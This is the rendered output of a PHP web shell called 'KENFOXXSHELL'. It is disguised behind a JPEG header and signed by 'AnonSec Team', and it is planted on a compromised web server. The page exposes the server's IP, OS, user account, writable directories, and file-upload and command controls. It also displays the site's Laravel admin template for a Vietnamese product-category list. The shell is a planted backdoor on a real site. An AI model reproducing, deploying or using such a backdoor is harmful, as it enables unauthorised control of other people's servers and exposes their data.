JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/resources/views/admin/productcate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/resources/views/admin/productcate/list.blade.php
@extends('admin.master')

@section('content')

@section('controller','Product Categories')

@section('action','List')

<!-- Content Header (Page header) -->

<script type="text/javascript">
  $(document).ready(function() {

    $("#chonhet").click(function() {

      var status = this.checked;

      $("input[name='chon']").each(function() {
        this.checked = status;
      })

    });



    $("#xoahet").click(function() {

      var listid = "";

      $("input[name='chon']").each(function() {

        if (this.checked) listid = listid + "," + this.value;

      })

      listid = listid.substr(1); //alert(listid);

      if (listid == "") {
        alert("Bạn chưa chọn mục nào");
        return false;
      }

      hoi = confirm("Bạn có chắc chắn muốn xóa?");

      if (hoi == true) document.location = homeUrl() + "/admin/productcate/" + listid + "/delete_list";

    });

  });
</script>

<section class="content-header">

  <h1>

    @yield('controller')

    <small>@yield('action')</small>

  </h1>

  <ol class="breadcrumb">

    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>

    <li><a href="javascript:">@yield('controller')</a></li>

    <li class="active">@yield('action')</li>

  </ol>

</section>

<!-- Main content -->

<section class="content">

  <div class="row">

    <div class="col-xs-12">

      <div class="box">

        @if (session('status'))

        <div class="box-header">

          <h3 class="box-title alert_thongbao text-green">{{ session('status') }}</h3>

        </div>

        @endif

        <!--<div class="box-header">

          <h3 class="box-title">Data Table With Full Features</h3>

        </div>-->

        <div class="box-body">

          <table id="example2" class="table table-bordered table-hover">

            <thead>

              <tr>

                <th style="width: 20px;"><input type="checkbox" name="chonhet" class="minimal" id="chonhet" /></th>

                <th class="text-center with_dieuhuong">Stt</th>

                <th>Danh mục cha</th>

                <th>Tên danh mục</th>

                <th class="text-center with_dieuhuong">Hiển thị</th>

                <th class="text-center with_dieuhuong">Sửa</th>

                <th class="text-center with_dieuhuong">Xóa</th>

              </tr>

            </thead>

            <tbody>

              @foreach($data as $k=>$item)

              <tr>

                <td><input type="checkbox" name="chon" id="chon" value="{{$item->id}}" class="chon" />[{{$item->id}}]</td>

                <td class="text-center with_dieuhuong">{{$k+1}}</td>



                <td>

                  <?php
                  $parent = DB::table('product_categories')->where('id', $item->parent_id)->first();

                  ?>

                  @if(!empty($parent))

                  {{ $parent->name }}

                  @else

                  {{ 'None' }}

                  @endif

                </td>

                <td>
                  {{$item->name}} <br>
                  Link: <a href="{{ asset( $item->alias ) }}.htm" target="_blank">{{ asset( $item->alias ) }}.htm</a>
                </td>

                <td class="text-center with_dieuhuong">

                  <div class="form-group">

                    @if($item->status>0)

                    <a href="admin/productcate/edit?id={{$item->id}}&hienthi={{ time() }}" class="btn btn-primary btn-xs"><i class="fa fa-eye"></i>Hiển thị Bật</a>

                    @else

                    <a href="admin/productcate/edit?id={{$item->id}}&hienthi={{ time() }}" class="btn btn-danger btn-xs"><i class="fa fa-eye"></i>Tắt hiển thị</a>

                    @endif

                  </div>

                  <div class="form-group">

                    @if($item->boot>0)

                    <a href="admin/productcate/edit?id={{$item->id}}&boot={{ time() }}" class="btn btn-primary btn-xs"><i class="fa fa-eye"></i>Bottom Bật</a>

                    @else

                    <a href="admin/productcate/edit?id={{$item->id}}&boot={{ time() }}" class="btn btn-danger btn-xs"><i class="fa fa-eye"></i>Bottom Tắt</a>

                    @endif

                  </div>

                </td>

                <td class="text-center with_dieuhuong">

                  <i class="fa fa-pencil fa-fw"></i><a href="admin/productcate/edit?id={{$item->id}}">Edit</a>

                </td>

                <td class="text-center">

                  <i class="fa fa-trash-o fa-fw"></i><a onClick="if(!confirm('Xác nhận xóa')) return false;" href="admin/productcate/{{$item->id}}/delete">Delete</a>

                </td>

              </tr>

              @endforeach

            </tbody>

          </table>

        </div><!-- /.box-body -->

        <div class="box-footer col-md-12">

          <div class="col-md-6">

            <input type="button" onclick="javascript:window.location='admin/productcate/add'" value="Thêm" class="btn btn-primary" />

            <button type="button" id="xoahet" class="btn btn-success">Xóa</button>

            <input type="button" value="Thoát" onclick="javascript:window.location='admin'" class="btn btn-danger" />



          </div>

        </div>

      </div><!-- /.box -->

    </div><!-- /.col -->

  </div><!-- /.row -->

</section><!-- /.content -->

@endsection()

Anon7 - 2022
AnonSec Team